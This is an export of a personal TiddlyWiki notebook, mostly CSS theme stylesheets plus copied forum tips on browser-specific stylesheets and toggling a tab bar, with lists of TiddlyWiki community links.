h2 {font-size:1.25em;}
h3 {font-size:1.1em;}
h4 {font-size:1em;}
h5 {font-size:.9em;}

ol {list-style-type:decimal;}
ol ol {list-style-type:lower-alpha;}
ol ol ol {list-style-type:lower-roman;}
ol ol ol ol {list-style-type:decimal;}
ol ol ol ol ol {list-style-type:lower-alpha;}
ol ol ol ol ol ol {list-style-type:lower-roman;}
ol ol ol ol ol ol ol {list-style-type:decimal;}

p.first-line 
{
color: #ff0000;
font-variant: small-caps
}

.header {position:relative; height:60px;}
.header a:hover {background:transparent;}
/*.headerShadow {position: relative;padding: 0em 0em 0em 1em;left: 0px; top: 0px;}
.headerForeground {position:absolute;padding:0.0em 0em 1em 1em; left:0px; top:0px;}*/

.title {
	color:#c06;
        font-variant:small-caps;
        font-size:1.4em;
        font-weight:normal; 
        padding-top: 0em;
        padding-left: 0.65em;
}

.editorFooter a {color:#f00;}
.editorFooter a:hover {color:#f00;background:#0cc;}

/*}}}*/
/***
!!!<<gradient horiz #FF8888 #ffffff >>&nbsp;Viewer>>/%==================================================%/
***/
/*{{{*/

.viewer {
      
        padding-left: 0em;
        padding-right: 0em;
	padding-top: 0.0em;
        
}

.viewer a {
color:#04b;
background: transparent;
padding-left:2px;
padding-right:2px;
text-decoration:none;
}

.viewer a:hover {
	background: #fff;
	color: #f00;
}

.viewer hr {
	border: 0px;
	border-top: solid 1px #c06;
	color: #c06;
}

.viewer .tabSelected {

        background:url("http://www.symbex.net.au/Wiki/navbarred.gif") repeat-x top left;top left;
        background-color:#fcb;
        font-size:0.95em;
        font-weight:bold;
        color:#a00;
	text-decoration:none;
        border: 0 solid #999;
         -moz-border-radius : 0.4em 0.4em 0 0;
       
}


        .viewer .tabUnselected {
        background:url("http://www.symbex.net.au/Wiki/navbargrayhw1.png") repeat-x top left;top left;
        background-color:#eee;
        font-size:0.95em;
        font-weight:bold;
	color:#008;
        text-decoration:none;
        border:0;
        -moz-border-radius : 0.4em 0.4em 0 0;

}

.viewer .button {
	border: 0px solid #009;
        color:#009;
}

.button:active {color:#fff; background:transparent; border:0px solid #009;}

.header {background:[[ColorPalette::PrimaryMid]];}


.viewer th, .viewer thead td, .twtable th, .twtable thead td {background:#abf;}

.viewer blockquote {
	border-left: 1px solid #c06;
}

.viewer tr.oddRow { background-color: #eaeaea;}
.viewer tr.evenRow { background-color:#fff; } 


.viewer {
background:#fff;
        padding-left: 0.5em;
        padding-right: 0.5em;
	padding-top: 0.5em;
     
}


.button {
	border: 0px solid #fff;
}



.whiteLink a { color: #fff;
font-weight:normal; } 
.unboldlink a {font-weight:normal;}
.twLink a { color: #090;
font-weight:normal; }
.locLink a { color: #c06;
font-weight:normal; }
.remLink a { color: #c90;
font-weight:normal; } 

.floatleft{ float:left; }
.floatright{ float:right; }

.firstletter{ float:left; width:0.40em; font-size:400%; font-family:times,arial; line-height:90%; }

#tiddlerTheBath img {
    border: 5px double #999;
    margin: 4px;} 

.toolbar {
 color: #fff;
}

.selected .toolbar a {
 color: #000;
}

.selected .toolbar a:hover {
 background: #ffd /*#ef9*/;
 color: #F00;
}


/***
!!!<<gradient horiz #FF8888 #ffffff >>&nbsp;Nested Style Sheets>>/%==================================================%/
***/

/*}}}*/

[[ButtonStyle]]
[[CustomCSS]]
[[SlantedStyle]]
[[BackstageCSS]]
[[StyleSheetTiddlersBar]]
[[WebStyleSheet]]
[[CenterBoxCSS]]
[[WebPageTLCF]]
[[PageCSS]]
[[PresentCSS]]
[[SDCSS]]
[[HTMLStructureTwoColumnCSS]]
[[TagCloudCSS]]

/*{{{*/

/***
!!!<<gradient horiz #FF8888 #ffffff >>&nbsp;End Nested Style Sheets>>/%==================================================%/
***/



#messageArea {border:1px solid [[ColorPalette::SecondaryLight]]; background:[[ColorPalette::SecondaryMid]]; color:[[ColorPalette::Foreground]];}
#messageArea .button {color:[[ColorPalette::SecondaryLight]]; background:[[ColorPalette::Secondarymid]]; border:none;}

#messageArea { 
  background-color: #509; 
  border-color: #fab;
  color:#fff; 
  border-width: 4px; 
  border-style: dotted; 
  font-size: 90%; 
  padding: 0.5em; 
  margin-right:2em;
  -moz-border-radius: 1em; }
#messageArea a {color:#ffc;}
#messageArea .button { color:#fff;text-decoration:none; font-weight:bold; background:transparent; border:0px; }
#messageArea .button:hover {background: #F00; }

#tiddlerDisplay {padding-right:0em; padding-left:0em;margin:auto;}

.header {display:none;}
#sidebar{display:none;}
#mainMenu{display:none;}

#contentWrapper  {margin:0em 0em 0em 0em;padding:0em 0em 0em 0em;}

#displayArea {margin:0em 0em 0em -0.25em;padding:0em 0em 0em 0em;}
#tiddlerDisplay {margin:0em 0em 0em -0.25em;;padding:1em 0em 0em 0em;}

#tiddlersBar {margin:0em 0em 0em 0em;padding:0em 0em 0em 0em;}

.tiddler {margin:0em -2em 0em -2em;padding:0em 0em 0em 0em;}



.button {color: #009;}
.button:hover {color: #f00;background: #fff;}
.button:visited {color: #009;}
.button:active {color: #f00;}
/%a:visited {color: #009;}%/

{{{
.tabContents li.listLink { margin-left:0em;list-style:none;}
}}}

.editor {margin-left:1.0em;}
#tiddlerAllSnips tabContents{background:#fcf;}

/*}}}*/

/*{{{*/
body {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}

a {color:[[ColorPalette::PrimaryMid]];}
a:hover {background-color:[[ColorPalette::PrimaryMid]]; color:[[ColorPalette::Background]];}
a img {border:0;}

h1,h2,h3,h4,h5,h6 {color:[[ColorPalette::SecondaryDark]]; background:transparent;}
h1 {border-bottom:2px solid [[ColorPalette::TertiaryLight]];}
h2,h3 {border-bottom:1px solid [[ColorPalette::TertiaryLight]];}

.button {color:[[ColorPalette::PrimaryDark]]; border:1px solid [[ColorPalette::Background]];}
.button:hover {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::SecondaryLight]]; border-color:[[ColorPalette::SecondaryMid]];}
.button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::SecondaryDark]];}

.header {background:[[ColorPalette::PrimaryMid]];}
.headerShadow {color:[[ColorPalette::Foreground]];}
.headerShadow a {font-weight:normal; color:[[ColorPalette::Foreground]];}
.headerForeground {color:[[ColorPalette::Background]];}
.headerForeground a {font-weight:normal; color:[[ColorPalette::PrimaryPale]];}

.tabSelected{color:[[ColorPalette::PrimaryDark]];
	background:[[ColorPalette::TertiaryPale]];
	border-left:1px solid [[ColorPalette::TertiaryLight]];
	border-top:1px solid [[ColorPalette::TertiaryLight]];
	border-right:1px solid [[ColorPalette::TertiaryLight]];
}
.tabUnselected {color:[[ColorPalette::Background]]; background:[[ColorPalette::TertiaryMid]];}
.tabContents {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::TertiaryPale]]; border:1px solid [[ColorPalette::TertiaryLight]];}
.tabContents .button {border:0;}

#sidebar {}
#sidebarOptions input {border:1px solid [[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel {background:[[ColorPalette::PrimaryPale]];}
#sidebarOptions .sliderPanel a {border:none;color:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:hover {color:[[ColorPalette::Background]]; background:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:active {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::Background]];}

.wizard {background:[[ColorPalette::PrimaryPale]]; border:1px solid [[ColorPalette::PrimaryMid]];}
.wizard h1 {color:[[ColorPalette::PrimaryDark]]; border:none;}
.wizard h2 {color:[[ColorPalette::Foreground]]; border:none;}
.wizardStep {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];
	border:1px solid [[ColorPalette::PrimaryMid]];}
.wizardStep.wizardStepDone {background:[[ColorPalette::TertiaryLight]];}
.wizardFooter {background:[[ColorPalette::PrimaryPale]];}
.wizardFooter .status {background:[[ColorPalette::PrimaryDark]]; color:[[ColorPalette::Background]];}
.wizard .button {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryLight]]; border: 1px solid;
	border-color:[[ColorPalette::SecondaryPale]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryPale]];}
.wizard .button:hover {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Background]];}
.wizard .button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::Foreground]]; border: 1px solid;
	border-color:[[ColorPalette::PrimaryDark]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryDark]];}

#messageArea {border:1px solid [[ColorPalette::SecondaryMid]]; background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]];}
#messageArea .button {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::SecondaryPale]]; border:none;}

.popupTiddler {background:[[ColorPalette::TertiaryPale]]; border:2px solid [[ColorPalette::TertiaryMid]];}

.popup {background:[[ColorPalette::TertiaryPale]]; color:[[ColorPalette::TertiaryDark]]; border-left:1px solid [[ColorPalette::TertiaryMid]]; border-top:1px solid [[ColorPalette::TertiaryMid]]; border-right:2px solid [[ColorPalette::TertiaryDark]]; border-bottom:2px solid [[ColorPalette::TertiaryDark]];}
.popup hr {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::PrimaryDark]]; border-bottom:1px;}
.popup li.disabled {color:[[ColorPalette::TertiaryMid]];}
.popup li a, .popup li a:visited {color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:active {background:[[ColorPalette::SecondaryPale]]; color:[[ColorPalette::Foreground]]; border: none;}
.popupHighlight {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
.listBreak div {border-bottom:1px solid [[ColorPalette::TertiaryDark]];}

.tiddler .defaultCommand {font-weight:bold;}

.shadow .title {color:[[ColorPalette::TertiaryDark]];}

.title {color:[[ColorPalette::SecondaryDark]];}
.subtitle {color:[[ColorPalette::TertiaryDark]];}

.toolbar {color:[[ColorPalette::PrimaryMid]];}
.toolbar a {color:[[ColorPalette::TertiaryLight]];}
.selected .toolbar a {color:[[ColorPalette::TertiaryMid]];}
.selected .toolbar a:hover {color:[[ColorPalette::Foreground]];}

.tagging, .tagged {border:1px solid [[ColorPalette::TertiaryPale]]; background-color:[[ColorPalette::TertiaryPale]];}
.selected .tagging, .selected .tagged {background-color:[[ColorPalette::TertiaryLight]]; border:1px solid [[ColorPalette::TertiaryMid]];}
.tagging .listTitle, .tagged .listTitle {color:[[ColorPalette::PrimaryDark]];}
.tagging .button, .tagged .button {border:none;}

.footer {color:[[ColorPalette::TertiaryLight]];}
.selected .footer {color:[[ColorPalette::TertiaryMid]];}

.sparkline {background:[[ColorPalette::PrimaryPale]]; border:0;}
.sparktick {background:[[ColorPalette::PrimaryDark]];}

.error, .errorButton {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Error]];}
.warning {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryPale]];}
.lowlight {background:[[ColorPalette::TertiaryLight]];}

.zoomer {background:none; color:[[ColorPalette::TertiaryMid]]; border:3px solid [[ColorPalette::TertiaryMid]];}

.imageLink, #displayArea .imageLink {background:transparent;}

.annotation {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border:2px solid [[ColorPalette::SecondaryMid]];}

.viewer .listTitle {list-style-type:none; margin-left:-2em;}
.viewer .button {border:1px solid [[ColorPalette::SecondaryMid]];}
.viewer blockquote {border-left:3px solid [[ColorPalette::TertiaryDark]];}

.viewer table, table.twtable {border:2px solid [[ColorPalette::TertiaryDark]];}
.viewer th, .viewer thead td, .twtable th, .twtable thead td {background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::Background]];}
.viewer td, .viewer tr, .twtable td, .twtable tr {border:1px solid [[ColorPalette::TertiaryDark]];}

.viewer pre {border:1px solid [[ColorPalette::SecondaryLight]]; background:[[ColorPalette::SecondaryPale]];}
.viewer code {color:[[ColorPalette::SecondaryDark]];}
.viewer hr {border:0; border-top:dashed 1px [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::TertiaryDark]];}

.highlight, .marked {background:[[ColorPalette::SecondaryLight]];}

.editor input {border:1px solid [[ColorPalette::PrimaryMid]];}
.editor textarea {border:1px solid [[ColorPalette::PrimaryMid]]; width:100%;}
.editorFooter {color:[[ColorPalette::TertiaryMid]];}

#backstageArea {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::TertiaryMid]];}
#backstageArea a {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstageArea a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; }
#backstageArea a.backstageSelTab {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
#backstageButton a {background:none; color:[[ColorPalette::Background]]; border:none;}
#backstageButton a:hover {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstagePanel {background:[[ColorPalette::Background]]; border-color: [[ColorPalette::Background]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]];}
.backstagePanelFooter .button {border:none; color:[[ColorPalette::Background]];}
.backstagePanelFooter .button:hover {color:[[ColorPalette::Foreground]];}
#backstageCloak {background:[[ColorPalette::Foreground]]; opacity:0.6; filter:'alpha(opacity:60)';}
/*}}}*/
/*{{{*/
* html .tiddler {height:1%;}

body {font-size:.75em; font-family:arial,helvetica; margin:0; padding:0;}

h1,h2,h3,h4,h5,h6 {font-weight:bold; text-decoration:none;}
h1,h2,h3 {padding-bottom:1px; margin-top:1.2em;margin-bottom:0.3em;}
h4,h5,h6 {margin-top:1em;}
h1 {font-size:1.35em;}
h2 {font-size:1.25em;}
h3 {font-size:1.1em;}
h4 {font-size:1em;}
h5 {font-size:.9em;}

hr {height:1px;}

a {text-decoration:none;}

dt {font-weight:bold;}

ol {list-style-type:decimal;}
ol ol {list-style-type:lower-alpha;}
ol ol ol {list-style-type:lower-roman;}
ol ol ol ol {list-style-type:decimal;}
ol ol ol ol ol {list-style-type:lower-alpha;}
ol ol ol ol ol ol {list-style-type:lower-roman;}
ol ol ol ol ol ol ol {list-style-type:decimal;}

.txtOptionInput {width:11em;}

#contentWrapper .chkOptionInput {border:0;}

.externalLink {text-decoration:underline;}

.indent {margin-left:3em;}
.outdent {margin-left:3em; text-indent:-3em;}
code.escaped {white-space:nowrap;}

.tiddlyLinkExisting {font-weight:bold;}
.tiddlyLinkNonExisting {font-style:italic;}

/* the 'a' is required for IE, otherwise it renders the whole tiddler in bold */
a.tiddlyLinkNonExisting.shadow {font-weight:bold;}

#mainMenu .tiddlyLinkExisting,
	#mainMenu .tiddlyLinkNonExisting,
	#sidebarTabs .tiddlyLinkNonExisting {font-weight:normal; font-style:normal;}
#sidebarTabs .tiddlyLinkExisting {font-weight:bold; font-style:normal;}

.header {position:relative;}
.header a:hover {background:transparent;}
.headerShadow {position:relative; padding:4.5em 0em 1em 1em; left:-1px; top:-1px;}
.headerForeground {position:absolute; padding:4.5em 0em 1em 1em; left:0px; top:0px;}

.siteTitle {font-size:3em;}
.siteSubtitle {font-size:1.2em;}

#mainMenu {position:absolute; left:0; width:10em; text-align:right; line-height:1.6em; padding:1.5em 0.5em 0.5em 0.5em; font-size:1.1em;}

#sidebar {position:absolute; right:3px; width:16em; font-size:.9em;}
#sidebarOptions {padding-top:0.3em;}
#sidebarOptions a {margin:0em 0.2em; padding:0.2em 0.3em; display:block;}
#sidebarOptions input {margin:0.4em 0.5em;}
#sidebarOptions .sliderPanel {margin-left:1em; padding:0.5em; font-size:.85em;}
#sidebarOptions .sliderPanel a {font-weight:bold; display:inline; padding:0;}
#sidebarOptions .sliderPanel input {margin:0 0 .3em 0;}
#sidebarTabs .tabContents {width:15em; overflow:hidden;}

.wizard {padding:0.1em 1em 0em 2em;}
.wizard h1 {font-size:2em; font-weight:bold; background:none; padding:0em 0em 0em 0em; margin:0.4em 0em 0.2em 0em;}
.wizard h2 {font-size:1.2em; font-weight:bold; background:none; padding:0em 0em 0em 0em; margin:0.4em 0em 0.2em 0em;}
.wizardStep {padding:1em 1em 1em 1em;}
.wizard .button {margin:0.5em 0em 0em 0em; font-size:1.2em;}
.wizardFooter {padding:0.8em 0.4em 0.8em 0em;}
.wizardFooter .status {padding:0em 0.4em 0em 0.4em; margin-left:1em;}
.wizard .button {padding:0.1em 0.2em 0.1em 0.2em;}

#messageArea {position:fixed; top:2em; right:0em; margin:0.5em; padding:0.5em; z-index:2000; _position:absolute;}
.messageToolbar {display:block; text-align:right; padding:0.2em 0.2em 0.2em 0.2em;}
#messageArea a {text-decoration:underline;}

.tiddlerPopupButton {padding:0.2em 0.2em 0.2em 0.2em;}
.popupTiddler {position: absolute; z-index:300; padding:1em 1em 1em 1em; margin:0;}

.popup {position:absolute; z-index:300; font-size:.9em; padding:0; list-style:none; margin:0;}
.popup .popupMessage {padding:0.4em;}
.popup hr {display:block; height:1px; width:auto; padding:0; margin:0.2em 0em;}
.popup li.disabled {padding:0.4em;}
.popup li a {display:block; padding:0.4em; font-weight:normal; cursor:pointer;}
.listBreak {font-size:1px; line-height:1px;}
.listBreak div {margin:2px 0;}

.tabset {padding:1em 0em 0em 0.5em;}
.tab {margin:0em 0em 0em 0.25em; padding:2px;}
.tabContents {padding:0.5em;}
.tabContents ul, .tabContents ol {margin:0; padding:0;}
.txtMainTab .tabContents li {list-style:none;}
.tabContents li.listLink { margin-left:.75em;}

#contentWrapper {display:block;}
#splashScreen {display:none;}

#displayArea {margin:1em 17em 0em 14em;}

.toolbar {text-align:right; font-size:.9em;}

.tiddler {padding:1em 1em 0em 1em;}

.missing .viewer,.missing .title {font-style:italic;}

.title {font-size:1.6em; font-weight:bold;}

.missing .subtitle {display:none;}
.subtitle {font-size:1.1em;}

.tiddler .button {padding:0.2em 0.4em;}

.tagging {margin:0.5em 0.5em 0.5em 0; float:left; display:none;}
.isTag .tagging {display:block;}
.tagged {margin:0.5em; float:right;}
.tagging, .tagged {font-size:0.9em; padding:0.25em;}
.tagging ul, .tagged ul {list-style:none; margin:0.25em; padding:0;}
.tagClear {clear:both;}

.footer {font-size:.9em;}
.footer li {display:inline;}

.annotation {padding:0.5em; margin:0.5em;}

* html .viewer pre {width:99%; padding:0 0 1em 0;}
.viewer {line-height:1.4em; padding-top:0.5em;}
.viewer .button {margin:0em 0.25em; padding:0em 0.25em;}
.viewer blockquote {line-height:1.5em; padding-left:0.8em;margin-left:2.5em;}
.viewer ul, .viewer ol {margin-left:0.5em; padding-left:1.5em;}

.viewer table, table.twtable {border-collapse:collapse; margin:0.8em 1.0em;}
.viewer th, .viewer td, .viewer tr,.viewer caption,.twtable th, .twtable td, .twtable tr,.twtable caption {padding:3px;}
table.listView {font-size:0.85em; margin:0.8em 1.0em;}
table.listView th, table.listView td, table.listView tr {padding:0px 3px 0px 3px;}

.viewer pre {padding:0.5em; margin-left:0.5em; font-size:1.2em; line-height:1.4em; overflow:auto;}
.viewer code {font-size:1.2em; line-height:1.4em;}

.editor {font-size:1.1em;}
.editor input, .editor textarea {display:block; width:100%; font:inherit;}
.editorFooter {padding:0.25em 0em; font-size:.9em;}
.editorFooter .button {padding-top:0px; padding-bottom:0px;}

.fieldsetFix {border:0; padding:0; margin:1px 0px 1px 0px;}

.sparkline {line-height:1em;}
.sparktick {outline:0;}

.zoomer {font-size:1.1em; position:absolute; overflow:hidden;}
.zoomer div {padding:1em;}

* html #backstage {width:99%;}
* html #backstageArea {width:99%;}
#backstageArea {display:none; position:relative; overflow: hidden; z-index:150; padding:0.3em 0.5em 0.3em 0.5em;}
#backstageToolbar {position:relative;}
#backstageArea a {font-weight:bold; margin-left:0.5em; padding:0.3em 0.5em 0.3em 0.5em;}
#backstageButton {display:none; position:absolute; z-index:175; top:0em; right:0em;}
#backstageButton a {padding:0.1em 0.4em 0.1em 0.4em; margin:0.1em 0.1em 0.1em 0.1em;}
#backstage {position:relative; width:100%; z-index:50;}
#backstagePanel {display:none; z-index:100; position:absolute; margin:0em 3em 0em 3em; padding:1em 1em 1em 1em;}
.backstagePanelFooter {padding-top:0.2em; float:right;}
.backstagePanelFooter a {padding:0.2em 0.4em 0.2em 0.4em;}
#backstageCloak {display:none; z-index:20; position:absolute; width:100%; height:100px;}

.whenBackstage {display:none;}
.backstageVisible .whenBackstage {display:block;}
/*}}}*/
/***
!!!<<gradient horiz #fc3 #fff >><<tiddler RefreshStyles>>&nbsp;StyleSheetTiddlersBar>>/%==================================================%/
***/

#tiddlersBar .button {border:1px; color:#000;}
#tiddlersBar .tab {white-space:nowrap;}
#tiddlersBar {padding : 0.50em 0.5em 0.02em 1.0em;margin-left:0em;margin-right:0em}
#tiddlersBar {margin-bottom:0px;}

.tabSelected .button:hover {font-size:0.75em;font-weight:bold;color: #f00;background: #fff;padding : 0px 0px 0px 2px;}
.tabUnselected .button:hover {font-size:0.75em;color: #f00;background: #fff; padding : 0px 0px 0px 2px;}

.tabUnselected .button {font-size:0.75em;font-weight:bold;color: #066; padding : 0px 0px 0px 2px;}
.tabSelected .button {font-size:0.75em;font-weight:bold;color: #a00;padding : 0px 0px 0px 2px;}

.tabUnselected {
background:url("http://www.symbex.net.au/Wiki/navbargrayhw1.png") repeat-x top left;top left;
background-color:#eee;
border:0px #eee solid; border-bottom:0px;font-size:0.95em; }


.tabSelected {
background:url("http://www.symbex.net.au/Wiki/navbarred.gif") repeat-x top left;top left;
background-color:#fcb;
color: #a00;border: 0px #c06 solid;border-bottom:0px; font-size:0.95em;}

.tabUnselected .tabButton {font-weight:bold;font-size:0.75em;color:#333;background:transparent; padding : 0px 2px 0px 2px; margin: 0 0 0 1px;}
.tabSelected .tabButton {font-weight:bold;font-size:0.75em;color:#000;background:transparent;padding : 0px 2px 0px 2px; margin: 0 0 0 1px;}

.tabSelected .tabButton:hover {font-weight:bold;color: #f00;background: #fff;}
.tabUnselected .tabButton:hover {font-weight:bold;color: #f00;background: #fff;}

.tiddler, .tabContents {border-top:0px #fa0 solid;margin-left:0.5em;margin-right:0.5em;}
#tiddlersBar .tab {-moz-border-radius : 0.4em 0.4em 0 0;}
#tiddlersBar  {background:#abf;line-height: 1.45em;}
#tiddlersBar  {background: url("http://img168.imageshack.us/img168/1254/leftbackdo6.gif"); background-repeat: repeat;line-height: 1.45em;}


.tiddlerDisplay {margin-top:2.0em;margin-right:1em;}





> Hello all. Is there a way to create a stylesheet than only loads on
> I.E. and at the same time unable the default stylesheet?
> I whant to have 2 rendered versions of my TW: one (default stylesheet)
> for Firefox and one for I.E. (other stylesheet).

Try this:

1) Create three tiddlers: DefaultStyleSheet, FFStyleSheet, and
IEStyleSheet.

2) Copy your current StyleSheet contents, and paste the appropriate
bits of CSS into each of these tiddlers, so that DefaultStyleSheet
contains only 'common' cross-browser compatible CSS.

3) Paste any browser-specific CSS rules into their respective
stylesheet tiddlers (i.e., either FFStyleSheet or IEStyleSheet).

4) Create another tiddler, SetBrowserStylesheet, tagged with
'systemConfig', containing:
{{{
------------------
config.shadowTiddlers.StyleSheet='[[DefaultStyleSheet]]';
if (config.browser.isIE)
   config.shadowTiddlers.StyleSheet+='[[IEStyleSheet]]';
if (config.browser.isGecko)
   config.shadowTiddlers.StyleSheet+='[[FFStyleSheet]]';
------------------
}}}
5) **delete** the current [[StyleSheet]] tiddler, (so the shadow
tiddler will be used)

6) save-and-reload, so that the code in SetBrowserStylesheet is
invoked and the *shadow* stylesheet contents are set based on the
browser type.

Note: there are several other 'config.browser.*' values you can use as
needed to determine the desired StyleSheet content:
   isGecko, isIE, isLinux, isMac, isOpera, isSafari, isUnix, isWindows 

Source: [[Stylesheets depending browser - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/183a0cc73a1feb8e?hl=en#]]
!!!!!<<gradient horiz #fcb #fff>>&nbsp;[[Styling]]>>
@@color:#C06;''&raquo; &raquo;'' @@   Tabs containing CSS styling code (controls layout and visual style)
----
<script>
// get all tiddlers tagged with "css"
var tids=store.getTaggedTiddlers("css");
// keep only tiddlers *also* tagged with New
var list=[];
for (var t=0; t<tids.length; t++)
   if (tids[t].isTagged("css")) list.push(tids[t]);
// create output list of tiddler titles, one per line
var out="";
for (var t=0; t<list.length; t++) out+="#[["+list[t].title+"]]\n";
return out;
</script> 
The code for this option reads this when you edit the plugin :
<<option chkDisableTabsBar>> Disable the tabs bar (to print, by example).

So if you just add <<option chkDisableTabsBar>> anywhere you want
(SiteSubtitle ? SideBarOptions to have in on the right ?), you'll be able to enable/disable the tab bar at will.

Of course, a reload of the page will be necessary as the change is not done in real time, but for this you can use for example Eric's "home" bookmarklet (see *` - Home* at http://www.tiddlytools.com/#InstantBookmarklets)

Enjoy,
Nicolas. 

Here's a pure HTML button that toggles the TiddlersBar option setting
and then causes an automatic refresh of the page template (which
should cause the tabs to actually appear/disappear)
{{{

<html><a href="javascript:;" onclick="config.options.chkDisableTabsBar=!config.options.chkDisableTabsBar;refreshPageTemplate();return false;">toggle tiddler tabs</a></html>

}}}
enjoy,
-e 

Source: [[Switching TiddlersBarPlugin on & off from a sidebar - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/37d11a90f6f0242a?hl=en#]]
@@color:#C06;''&raquo; &raquo;'' @@ Tabs with reserved names (can be 'over-written' with Tabs of the same name making the originals silent; but, they remain unchanged in the core code)
----
[[nonotesViewTemplate]]
<<list shadowed>>
[[Index]]
[[BookmarkList]]
[[BrowserTipsList]]
[[CSSList]]
[[HTMLList]]
[[JavaScriptList]]
[[JQueryList]]
[[MacrosList]]
[[MyStuffList]]
[[PluginsList]]
[[TWLinksList]]
[[TWTipsList]]
[[TSDevelopmentList]]
[[VistaList]]
<<tiddlerList tags:tsdev   order:-created  top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
!TSDevelopmentList
''[[TiddlySnips Discussion group|http://groups.google.com/group/TiddlySnip?lnk=]]''
----
{{liststyleimagenone underlineLink {
<<tiddlerList tags:tsdev order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
}}}
History/forward/back 

Source: [[TW Notes - for the taking|file:///K:/TWNotes/twnotes.html]]
[[TW2.5.0 - a beta reusable non-linear personal web notebook|http://r.a.hough.googlepages.com/TW2.5.0.html]]
Hi,

I have uploaded 1.6.2 and tried for importing.
*As for backstage importing, local and remote sources are still not
loaded, as mentioned in this thread.
*However, using Eric Shulman's ImportTiddlersPlugin is getting at
least one positive result: importing from local files works, and every
imported tiddler is created by ccTiddly properly into the database.
*As for importing from web URLs, it seems that ccTiddly is using /
handle/proxy.php, but even though I have modified that file, or using
default value, ImportTiddlerPlugin still says "Found 0 tiddlers in
http://milchflasche.byethost31.com/1.6.2/handle/proxy.php"

Source: [[TWHelp - Provided by Osmosoft using TiddlyWiki - The Wiki with a silly name|http://wiki.osmosoft.com/alpha/TWHelp]]
|>|bgcolor(#8af):@@color(#000080):''4 tiddlers found matching /{{{keyboard}}}/''@@|bgcolor(#8af):  @@color(#A00000): SearchHelp@@ |
|>|>|bgcolor(#E3FFE3):<<search>> <<option chkSearchTitles>> Titles <<option chkSearchText>> Text <<option chkSearchTags>>Tags <<option chkHoldSearches>> Hold |

|bgcolor(#8af):&nbsp;|bgcolor(#8af): @@color(#000080):sort by: ''Titles''@@ |bgcolor(#8af): @@color(#000080): ''Size'' (bytes)@@ |bgcolor(#8af): @@color(#000080): ''Tags''@@ |h
| 1|[[Delete and be damned ]]| 1433|@@TiddlySnip,plugin-ts@@|
| 2|[[Explore Google Chrome Features]]| 194|@@TiddlySnip,browser-ts,excludeLists@@|
| 3|[[Getting the most out of your Windows keyboard]]| 16928|@@TiddlySnip,mystuff@@|
| 4|[[keyboard shortcuts]]| 484|@@TiddlySnip,twtips-ts@@|
<<<
[[tiddlywiki.com|tiddlywiki.com]]
[[Discussion Group|DiscussionGroup]]
[[Developers Group|DevelopersGroup]] 
[[Sidebar Group|SidebarGroup]]
[[TiddlySnipOnline|TiddlySnipOnline]]
[[trac.tiddlywiki.org|trac.tiddlywiki.org]]
[[tiddlywiki.org|tiddlywiki.org]]
[[TiddlyVaultOnline|http://tiddlyvault.tiddlyspot.com/]]
[[SidebarPluginVaultOnline|http://sidebarpluginvault.tiddlyspot.com/]]
<<<
!TWLinksList
{{liststyleimagenone underlineLink {
<<tiddlerList tags:twlinks-ts order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
}}}
''View TW options''
[img[http://img236.imageshack.us/img236/3487/viewtwoptionsxx8.jpg]]
<<<
[[tiddlywiki.com|http://tiddlywiki.com/]]
[[Discussion Group|http://groups.google.com/group/TiddlyWiki/topics]]
[[Developers Group|http://groups.google.com/group/TiddlyWikiDev/]] 
[[Sidebar Group|http://groups.google.com/group/sidebarnews]]
[[TiddlySnip Group|http://groups.google.com/group/TiddlySnip?lnk=li]]
[[trac.tiddlywiki.org|http://trac.tiddlywiki.org/wiki/History]]
[[tiddlywiki.org|http://www.tiddlywiki.org/]]
[[TiddlyVaultOnline|http://tiddlyvault.tiddlyspot.com/]]
[[SidebarPluginVaultOnline|http://sidebarpluginvault.tiddlyspot.com/]]
[[LifeHacker|http://lifehacker.com/]]
----
{{locLink{[[PluginServers|PluginServers]]}}}
<<<
The links in blue represent outside links. and if ~SideSnips is in the sidebar will load the pages in the main window.

The link(s) in magenta are local links within ~SideSnips and licking them will load in the sidebar.
{{liststyleimagenone underlineLink {
